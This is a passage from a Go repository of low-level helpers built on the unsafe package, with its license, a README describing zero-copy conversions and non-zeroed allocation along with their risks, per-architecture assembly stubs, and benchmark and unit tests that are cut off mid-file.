├── LICENSE ├── Makefile ├── README.md ├── asm_386.s ├── asm_amd64.s ├── asm_arm.s ├── asm_arm64.s ├── asm_mips.s ├── asm_mips64.s ├── asm_ppc64.s ├── asm_s390x.s ├── bench_test.go ├── constants ├── constants_386.go ├── constants_amd64.go ├── constants_arm.go ├── constants_arm64.go ├── constants_mips.go ├── constants_mips64.go ├── constants_mips64le.go ├── constants_mipsle.go ├── constants_ppc64x.go ├── constants_riscv64.go ├── constants_s390x.go └── constants_wasm.go ├── copy_amd64.go ├── copy_amd64.s ├── copy_noasm.go ├── example └── exmp.go ├── go.mod ├── go.sum ├── mem ├── mmap_linux.go └── mmap_test.go ├── strconv ├── strconv.go └── t_test.go ├── thread ├── thread.go ├── thread_amd64.s └── thread_test.go ├── union └── union.go ├── unused.go └── utils.go /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | bench: 5 | @go test -benchmem -benchtime=10s -bench ./ 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # low-level-functions 2 | 3 | > Low-level functions for golang that help to avoid allocations 4 | 5 | 1. **String(b []byte) string** 6 | 7 | - **What it does**: Converts a slice of bytes to a string without copying data, using insecure data access. 8 | - **Why it's faster**: Avoids copying data by creating a string that references the same bytes as the original slice. 9 | - **Risks**: Violates the immutability of strings in Go. If the source slice is changed, the string will change as well, which can lead to unexpected bugs. 10 | 11 | 2. **StringToBytes(s string) []byte** 12 | 13 | - **What it does**: Converts a string to a slice of bytes without copying the data, using insecure data access. 14 | - **Why it's faster**: Similar to `String`, avoids copying data by returning a slice that references the same bytes as the string. 15 | - **Risks**: If the string changes, the byte slice will change synchronously, which can cause problems when the data changes. 16 | 17 | 3. **CopyString(s string) string** 18 | 19 | - **What it does**: Creates a copy of a string by creating a new byte slice and copying the data from the string into that slice. 20 | - **Why it's faster**: Uses `MakeNoZero`, which does not initialize memory with zeros, speeding up the creation of a new slice. 21 | - **Risks**: Fewer risks compared to `String`, but there may be problems if the original data in the string must be kept intact. 22 | 23 | 4. **ConvertSlice[TFrom, TTo any](from []TFrom) ([]TTo, error)** 24 | 25 | - **What it does**: Converts a slice of one type to a slice of another type, provided the element sizes are the same. 26 | - **Why it's faster**: Doesn't create a new slice, just changes the slice header, keeping a reference to the same data in memory. 27 | - **Risks**: Conversion errors can cause failures if element sizes do not match or types are not compatible. 28 | 29 | 5. **MakeNoZero(l int) []byte** 30 | 31 | - **What it does**: Allocates memory for a byte slice without initializing it with zeros. 32 | - **Why it's faster**: Skips the step of initializing memory with zeros, which significantly speeds up the memory allocation process. 33 | - **Risks**: May lead to unexpected results if not all bytes are written before they are read. 34 | 35 | 6. **MakeNoZeroCap(l int, c int) []byte** 36 | 37 | - **What it does**: Creates a slice of bytes with a specific length and capacity without initializing with zeros. 38 | - **Why it's faster**: Similar to `MakeNoZero`, avoids initializing memory with zeros, which increases the speed of memory allocation. 39 | - **Risks**: Similar to `MakeNoZero`. 40 | 41 | 7. **StringBuffer (structure and methods)** 42 | 43 | - **What it does**: Implements a buffer for working with strings with the ability to change the length and capacity. 44 | - **Why it's faster**: Uses `MakeNoZeroCap` to allocate memory, which speeds up buffer handling. Also uses low-level methods to add data. 45 | - **Risks**: The main risks are associated with the use of `MakeNoZeroCap`; data initialization may be skipped. 46 | 47 | 8. **ConvertOne[TFrom, TTo any](from TFrom) (TTo, error)** 48 | 49 | - **What it does**: Converts a value of one type to a value of another type if their sizes are the same. 50 | - **Why it's faster**: Converts data directly through unsafe type conversion without creating additional data. 51 | - **Risks**: Conversion errors can result in incorrect data or crashes. 52 | 53 | 9. **MustConvertOne[TFrom, TTo any](from TFrom) TTo** 54 | 55 | - **What it does**: Converts one value of one type to a value of another type if their sizes match. Does not return an error. 56 | - **Why it's faster**: Avoids error checking, which makes the function execution faster. 57 | - **Risks**: If errors occur, there is no way to handle them, which may cause the program to crash. 58 | 59 | 10. **MakeZero[T any](l int) []T** 60 | 61 | - **What it does**: Allocates memory for a slice of any type with initialization with zeros. 62 | - **Why it's faster**: Optimized for large amounts of data, uses `mallocgc` with initialization. 63 | - **Risks**: Similar `MakeNoZero`. 64 | 65 | 11. **MakeZeroCap[T any](l int, c int) []T** 66 | 67 | - **What it does**: Creates a slice with a specific length and capacity with initialization with zeros. 68 | - **Why it's faster**: Similar to `MakeZero`, optimized for big data. 69 | - **Risks**: Similar `MakeNoZeroCap`. 70 | 71 | 12. **MakeNoZeroString(l int) []string** 72 | 73 | - **What it does**: Allocates memory for a slice of strings without initializing it with zeros. 74 | - **Why it's faster**: Skips initialization of memory with zeros. 75 | - **Risks**: Similar to `MakeNoZero`, may lead to unexpected results if strings are read before writing. 76 | 77 | 13. **MakeNoZeroCapString(l int, c int) []string** 78 | 79 | - **What it does**: Creates a slice of strings with a specific length and capacity without initializing with zeros. 80 | - **Why it's faster**: Skips memory initialization with zeros. 81 | - **Risks**: Similar to `MakeNoZeroCap`. 82 | 83 | 14. **Equal(a, b []byte) bool** 84 | 85 | - **What it does**: Compares two byte slices for equality using the low-level `memequal` function. 86 | - **Why it's faster**: Uses direct memory comparison, which is faster than byte-by-byte comparison. 87 | - **Risks**: If the slice lengths do not match, it immediately returns false, which may not always be the desired behavior. 88 | 89 | 15. **IsNil(v any) bool** 90 | 91 | - **What it does**: Checks if the value is nil. 92 | - **Why it's faster**: Uses direct checking with `reflect.ValueOf`. 93 | - **Risks**: Can cause panic when passing an uninitialized interface. 94 | 95 | 16. **IsEqual(v1, v2 any) bool** 96 | 97 | - **What it does**: Checks if two values point to the same memory location. 98 | - **Why it's faster**: Uses direct pointer comparison. 99 | - **Risks**: May not work correctly if values are of composite types or if objects are in different memory locations but with the same values. 100 | 101 | 17. **AtomicCounter (structure and methods)** 102 | 103 | - **What it does**: Implements an atomic counter using cache-line alignment to prevent false splitting. 104 | - **Why it's faster**: Avoids false splits by using cache-line alignment, which improves performance in multi-threaded environments. 105 | - **Risks**: More memory consumption due to alignment. 106 | 107 | 18. **GetItem[T any](slice []T, idx int) T** 108 | 109 | - **What it does**: Gets the slice item by index using an unsafe pointer cast. 110 | - **Why it's faster**: Avoids additional checks and accesses memory directly. 111 | - **Risks**: May cause panic if the index goes outside the slice. 112 | 113 | 19. **GetItemWithoutCheck[T any](slice []T, idx int) T** 114 | 115 | - **What it does**: Similar to `GetItem`, but without the index check. 116 | - **Why it's faster**: Removes the index check, which speeds up access. 117 | - **Risks**: Very unsafe, as going beyond the slice can cause data corruption or program crash. 118 | 119 | 20. **Pointer[T any](d T) \*T** 120 | - **What it does**: Returns a pointer to the passed value. 121 | - **Why it's faster**: Very simple operation, no data copying required. 122 | - **Risks**: Few risks, but requires caution when working with pointers. 123 | -------------------------------------------------------------------------------- /asm_386.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | 4 | #define get_tls(r) MOVL TLS, r 5 | #define g(r) 0(r)(TLS*1) 6 | 7 | TEXT ·GetG(SB),NOSPLIT,$0-4 8 | get_tls(CX) 9 | MOVL g(CX), AX 10 | MOVL AX, gp+0(FP) 11 | RET 12 | -------------------------------------------------------------------------------- /asm_amd64.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | 4 | #define get_tls(r) MOVQ TLS, r 5 | #define g(r) 0(r)(TLS*1) 6 | 7 | TEXT ·GetG(SB),NOSPLIT,$0-8 8 | get_tls(CX) 9 | MOVQ g(CX), AX 10 | MOVQ AX, gp+0(FP) 11 | RET 12 | -------------------------------------------------------------------------------- /asm_arm.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | 4 | #define get_tls(r) MOVW g, r 5 | 6 | TEXT ·GetG(SB),NOSPLIT,$0-4 7 | get_tls(R1) 8 | MOVW R1, gp+0(FP) 9 | RET 10 | -------------------------------------------------------------------------------- /asm_arm64.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | 4 | #define get_tls(r) MOVD g, r 5 | 6 | TEXT ·GetG(SB),NOSPLIT,$0-8 7 | get_tls(R1) 8 | MOVD R1, gp+0(FP) 9 | RET 10 | -------------------------------------------------------------------------------- /asm_mips.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | 4 | #define get_tls(r) MOVD g, r 5 | 6 | TEXT ·GetG(SB),NOSPLIT,$0-4 7 | get_tls(R1) 8 | MOVD R1, gp+0(FP) 9 | RET 10 | -------------------------------------------------------------------------------- /asm_mips64.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | 4 | #define get_tls(r) MOVD g, r 5 | 6 | TEXT ·GetG(SB),NOSPLIT,$0-8 7 | get_tls(R1) 8 | MOVD R1, gp+0(FP) 9 | RET 10 | -------------------------------------------------------------------------------- /asm_ppc64.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | 4 | TEXT ·GetG(SB), NOSPLIT, $0-8 5 | MOVD g, R8 6 | MOVD R8, ret+0(FP) 7 | RET 8 | -------------------------------------------------------------------------------- /asm_s390x.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | 4 | TEXT ·GetG(SB), NOSPLIT, $0-8 5 | MOVD g, R8 6 | MOVD R8, ret+0(FP) 7 | RET 8 | -------------------------------------------------------------------------------- /bench_test.go: -------------------------------------------------------------------------------- 1 | package lowlevelfunctions 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "strings" 7 | "testing" 8 | "unsafe" 9 | 10 | "github.com/unevenbibliog/low-level-functions/example" 11 | "github.com/unevenbibliog/low-level-functions/mem" 12 | 13 | "github.com/unevenbibliog/low-level-functions/union" 14 | ) 15 | 16 | var block1kb = 1024 17 | var data []byte 18 | 19 | func TestUnsafePointerExtraction(t *testing.T) { 20 | 21 | var empty []byte 22 | 23 | defer func() { 24 | 25 | r := recover() 26 | if r == nil { 27 | t.Errorf("Expected panic for empty slice, but no panic occurred") 28 | } 29 | }() 30 | 31 | _ = uintptr(unsafe.Pointer(&empty[0])) 32 | 33 | fmt.Println(String(data)) 34 | fmt.Println(string3(data)) 35 | fmt.Println(&data[0]) 36 | 37 | } 38 | 39 | func BenchmarkDirtBytes(b *testing.B) { 40 | for size := block1kb; size < block1kb*20; size += block1kb * 2 { 41 | b.Run(fmt.Sprintf("size=%dkb", size/block1kb), func(b *testing.B) { 42 | for i := 0; i < b.N; i++ { 43 | data = MallocSlice[byte](size, size) 44 | } 45 | }) 46 | } 47 | } 48 | 49 | func BenchmarkArrayBytes(b *testing.B) { 50 | for size := block1kb; size < block1kb*20; size += block1kb * 2 { 51 | b.Run(fmt.Sprintf("size=%dkb", size/block1kb), func(b *testing.B) { 52 | for i := 0; i < b.N; i++ { 53 | data = MakeSlice[byte](size, size) 54 | } 55 | }) 56 | } 57 | } 58 | 59 | func must[T any](v T, err int) T { 60 | 61 | return v 62 | } 63 | func BenchmarkDirtSys(b *testing.B) { 64 | for size := block1kb; size < block1kb*20; size += block1kb * 2 { 65 | b.Run(fmt.Sprintf("size=%dkb", size/block1kb), func(b *testing.B) { 66 | for i := 0; i < b.N; i++ { 67 | data = *(*[]byte)(must(mem.SysAlloc(size))) 68 | mem.SysFree(data) 69 | } 70 | }) 71 | 72 | } 73 | } 74 | 75 | // var mm *arena.Arena 76 | // 77 | // func BenchmarkArenaBytes(b *testing.B) { 78 | // for size := block1kb; size < block1kb*20; size += block1kb * 2 { 79 | // b.Run(fmt.Sprintf("size=%dkb", size/block1kb), func(b *testing.B) { 80 | // for i := 0; i < b.N; i++ { 81 | // data, mm = MakeArenaSlice[byte](size, size) 82 | // mm.Free() 83 | // 84 | // } 85 | // }) 86 | // 87 | // } 88 | // 89 | // } 90 | 91 | func BenchmarkDirtBytes_MakeNozero(b *testing.B) { 92 | for size := block1kb; size < block1kb*20; size += block1kb * 2 { 93 | b.Run(fmt.Sprintf("size=%dkb", size/block1kb), func(b *testing.B) { 94 | for i := 0; i < b.N; i++ { 95 | data = MakeNoZero(size) 96 | } 97 | }) 98 | } 99 | } 100 | 101 | func BenchmarkOriginBytes(b *testing.B) { 102 | for size := block1kb; size < block1kb*20; size += block1kb * 2 { 103 | b.Run(fmt.Sprintf("size=%dkb", size/block1kb), func(b *testing.B) { 104 | for i := 0; i < b.N; i++ { 105 | data = make([]byte, size) 106 | } 107 | }) 108 | } 109 | } 110 | 111 | func BenchmarkMake(b *testing.B) { 112 | 113 | b.Run("Make", func(b *testing.B) { 114 | for i := 0; i < b.N; i++ { 115 | data = make([]byte, 1000, 1000) 116 | } 117 | }) 118 | } 119 | 120 | func BenchmarkMutableString_SetString(b *testing.B) { 121 | var m MutableString 122 | for i := 0; i < b.N; i++ { 123 | m.SetString("benchmark") 124 | 125 | m.SetString("ben10") 126 | } 127 | _ = m 128 | } 129 | 130 | func BenchmarkString_SetString(b *testing.B) { 131 | var m []byte 132 | for i := 0; i < b.N; i++ { 133 | m = []byte("benchmark") 134 | m = []byte("ben10") 135 | } 136 | _ = m 137 | } 138 | 139 | func BenchmarkString_AppendString(b *testing.B) { 140 | s := "" 141 | for i := 0; i < 1000; i++ { 142 | s += "test" 143 | } 144 | } 145 | func BenchmarkMutableString_AppendString(b *testing.B) { 146 | var m MutableString 147 | for i := 0; i < 1000; i++ { 148 | m.AppendString("test") 149 | } 150 | } 151 | 152 | func BenchmarkMutableString_Clear(b *testing.B) { 153 | var m MutableString 154 | m.SetString("some long text") 155 | b.ResetTimer() 156 | for i := 0; i < b.N; i++ { 157 | m.Clear() 158 | } 159 | } 160 | 161 | func BenchmarkMutableString_ToUpper(b *testing.B) { 162 | m := MutableString("benchmark") 163 | for i := 0; i < b.N; i++ { 164 | m.ToUpper() 165 | } 166 | } 167 | 168 | func BenchmarkMutableString_ToLower(b *testing.B) { 169 | m := MutableString("BENCHMARK") 170 | for i := 0; i < b.N; i++ { 171 | m.ToLower() 172 | } 173 | } 174 | 175 | func TestMallocSlice(t *testing.T) { 176 | slice := MallocSlice[int](5, 10) 177 | 178 | if len(slice) != 5 { 179 | t.Errorf("Expected length 5, got %d", len(slice)) 180 | } 181 | if cap(slice) != 10 { 182 | t.Errorf("Expected capacity 10, got %d", cap(slice)) 183 | } 184 | } 185 | 186 | func TestMalloc(t *testing.T) { 187 | slice := MallocSlice[byte](5, 10) 188 | 189 | if len(slice) != 5 { 190 | t.Errorf("Expected length 5, got %d", len(slice)) 191 | } 192 | if cap(slice) != 10 { 193 | t.Errorf("Expected capacity 10, got %d", cap(slice)) 194 | } 195 | 196 | slice = append(slice, 1, 2, 3, 4, 5) 197 | 198 | if len(slice) != 10 { 199 | t.Errorf("Expected length 10, got %d", len(slice)) 200 | } 201 | if cap(slice) != 10 { 202 | t.Errorf("Expected capacity 10, got %d", cap(slice)) 203 | } 204 | } 205 | 206 | func TestCopyMakeSlice(t *testing.T) { 207 | slice := MakeSlice[int](5, 10) 208 | slice2 := make([]int, 0, 10) 209 | slice2 = append(slice2, 1, 2, 3, 4, 5) 210 | copy(slice, slice2) 211 | 212 | if len(slice) != 5 { 213 | t.Errorf("Expected length 5, got %d", len(slice)) 214 | } 215 | if cap(slice) != 10 { 216 | t.Errorf("Expected capacity 10, got %d", cap(slice)) 217 | } 218 | 219 | if slice[0] != 1 || slice[1] != 2 || slice[2] != 3 || slice[3] != 4 || slice[4] != 5 { 220 | t.Errorf("Incorrect: %v", slice) 221 | } 222 | 223 | // fmt.Println(slice) 224 | } 225 | 226 | type TestStruct struct { 227 | A int 228 | B float64 229 | C byte 230 | } 231 | 232 | func TestMallocStruct(t *testing.T) { 233 | slice := MallocSlice[TestStruct](3, 6) 234 | 235 | if len(slice) != 3 { 236 | t.Errorf("Expected length 3, got %d", len(slice)) 237 | } 238 | if cap(slice) != 6 { 239 | t.Errorf("Expected capacity 6, got %d", cap(slice)) 240 | } 241 | } 242 | 243 | type Example struct { 244 | Value int 245 | } 246 | 247 | // TestMalloc tests the Malloc function 248 | func TestMalloc_noslice(t *testing.T) { 249 | // Test with an int 250 | intValue := 42 251 | intPointer := Malloc(intValue) 252 | if intPointer == nil { 253 | t.Errorf("Malloc returned nil for int") 254 | } 255 | // Test if the value of the int is the same as the passed value 256 | if *intPointer != intValue { 257 | t.Errorf("Expected %v for *intPointer, got %v", intValue, *intPointer) 258 | } 259 | 260 | // Test with a string 261 | stringValue := "Hello" 262 | stringPointer := Malloc(stringValue) 263 | if stringPointer == nil { 264 | t.Errorf("Malloc returned nil for string") 265 | } 266 | // Test if the value of the string is the same as the passed value 267 | if *stringPointer != stringValue { 268 | t.Errorf("Expected %v for *stringPointer, got %v", stringValue, *stringPointer) 269 | } 270 | 271 | // Test with a custom struct 272 | structValue := Example{Value: 100} 273 | structPointer := Malloc(structValue) 274 | if structPointer == nil { 275 | t.Errorf("Malloc returned nil for Example struct") 276 | } 277 | // Test if the struct's field is the same as the passed value 278 | if structPointer.Value != structValue.Value { 279 | t.Errorf("Expected %v for structPointer.Value, got %v", structValue.Value, structPointer.Value) 280 | } 281 | } 282 | 283 | func TestMakeSlice_DataManipulation(t *testing.T) { 284 | slice := MakeSlice[int](4, 6) 285 | 286 | for i := 0; i < len(slice); i++ { 287 | slice[i] = i * 10 288 | } 289 | 290 | for i, v := range slice { 291 | if v != i*10 { 292 | t.Errorf("Expected %d, got %d", i*10, v) 293 | } 294 | } 295 | } 296 | 297 | func TestMakeSliceStruct(t *testing.T) { 298 | slice := MakeSlice[TestStruct](3, 6) 299 | 300 | if len(slice) != 3 { 301 | t.Errorf("Expected length 3, got %d", len(slice)) 302 | } 303 | if cap(slice) != 6 { 304 | t.Errorf("Expected capacity 6, got %d", cap(slice)) 305 | } 306 | } 307 | 308 | func TestMakeSlice_FloatSlice(t *testing.T) { 309 | slice := MakeSlice[float64](3, 6) 310 | 311 | if len(slice) != 3 { 312 | t.Errorf("Expected: 3, got: %d", len(slice)) 313 | } 314 | if cap(slice) != 6 { 315 | t.Errorf("Expected: 6, got: %d", cap(slice)) 316 | } 317 | 318 | slice[0] = 1.1 319 | slice[1] = 2.2 320 | slice[2] = 3.3 321 | 322 | if slice[0] != 1.1 || slice[1] != 2.2 || slice[2] != 3.3 { 323 | t.Errorf("eror with float64: %v", slice) 324 | } 325 | } 326 | 327 | func TestMakeSlice_EmptySlice(t *testing.T) { 328 | slice := MakeSlice[int](0, 0) 329 | 330 | if len(slice) != 0 { 331 | t.Errorf("Expected: 0, got: %d", len(slice)) 332 | } 333 | if cap(slice) != 0 { 334 | t.Errorf("Expected: 0, got: %d", cap(slice)) 335 | } 336 | } 337 | 338 | func TestMakeSlice_StringSlice(t *testing.T) { 339 | slice := MakeSlice[string](3, 5) 340 | 341 | if len(slice) != 3 { 342 | t.Errorf("Expected: 3, got: %d", len(slice)) 343 | } 344 | if cap(slice) != 5 { 345 | t.Errorf("Expected: 5, got: %d", cap(slice)) 346 | } 347 | slice[0] = "hello" 348 | slice[1] = "world" 349 | 350 | if slice[0] != "hello" || slice[1] != "world" { 351 | t.Errorf("incorrect: %v", slice) 352 | } 353 | } 354 | 355 | func TestMutableString_String(t *testing.T) { 356 | ms := MutableString("Hello, world!") 357 | expected := "Hello, world!" 358 | 359 | result := ms.String() 360 | 361 | if result != expected { 362 | t.Errorf("Expected: %q, got: %q", expected, result) 363 | } 364 | } 365 | 366 | func TestMutableString_Set(t *testing.T) { 367 | var m MutableString 368 | 369 | m.SetString("hello") 370 | if m.String() != "hello" { 371 | t.Errorf("Expected 'hello', got '%s'", m.String()) 372 | } 373 | 374 | m.SetString("world") 375 | if m.String() != "world" { 376 | t.Errorf("Expected 'world', got '%s'", m.String()) 377 | } 378 | 379 | m.SetString("") 380 | if m.String() != "" { 381 | t.Errorf("Expected empty string, got '%s'", m.String()) 382 | } 383 | } 384 | 385 | func TestMutableString_Clear(t *testing.T) { 386 | m := MutableString("hello") 387 | m.Clear() 388 | 389 | if len(m) != 0 { 390 | t.Errorf("Expected length 0, got %d", len(m)) 391 | } 392 | 393 | if cap(m) < 5 { 394 | t.Errorf("Expected at least cap 5, got %d", cap(m)) 395 | } 396 | } 397 | 398 | func TestMutableString_AppendString(t *testing.T) { 399 | var m MutableString 400 | m.AppendString("hello") 401 | m.AppendString(" world") 402 | 403 | if m.String() != "hello world" { 404 | t.Errorf("Expected 'hello world', got '%s'", m.String()) 405 | } 406 | } 407 | 408 | func TestMutableString_AppendByte(t *testing.T) { 409 | var m MutableString 410 | m.AppendByte('A') 411 | m.AppendByte('B') 412 | 413 | if m.String() != "AB" { 414 | t.Errorf("Expected 'AB', got '%s'", m.String()) 415 | } 416 | } 417 | 418 | func TestMutable(t *testing.T) { 419 | var ms MutableString 420 | 421 | ms.SetString("abcdef") 422 | fmt.Println(ms.String()) 423 | ms.SetString("xyz") 424 | 425 | fmt.Println(ms.String()) 426 | 427 | ms.AppendString("zzz") 428 | fmt.Println(ms.String()) 429 | 430 | } 431 | 432 | func TestUnsafePointer(t *testing.T) { 433 | var ha = make(MutableString, 12) 434 | 435 | ha.SetString("Hello, world!") 436 | 437 | ptrOfInf := UnsafePointer(ha) 438 | 439 | fmt.Println(ptrOfInf) 440 | 441 | value := ConvertUnsafePointer[MutableString](ptrOfInf) 442 | 443 | fmt.Println(string(value)) 444 | 445 | } 446 | 447 | func TestMutableString_Modify(t *testing.T) { 448 | ms := MutableString("Hello, world!") 449 | 450 | ms[0] = 'h' 451 | 452 | expected := "hello, world!" 453 | result := ms.String() 454 | 455 | if result != expected { 456 | t.Errorf("Expected: %q, got: %q", expected, result) 457 | } 458 | } 459 | 460 | func TestMutableString_Empty(t *testing.T) { 461 | var ms MutableString 462 | 463 | expected := "" 464 | result 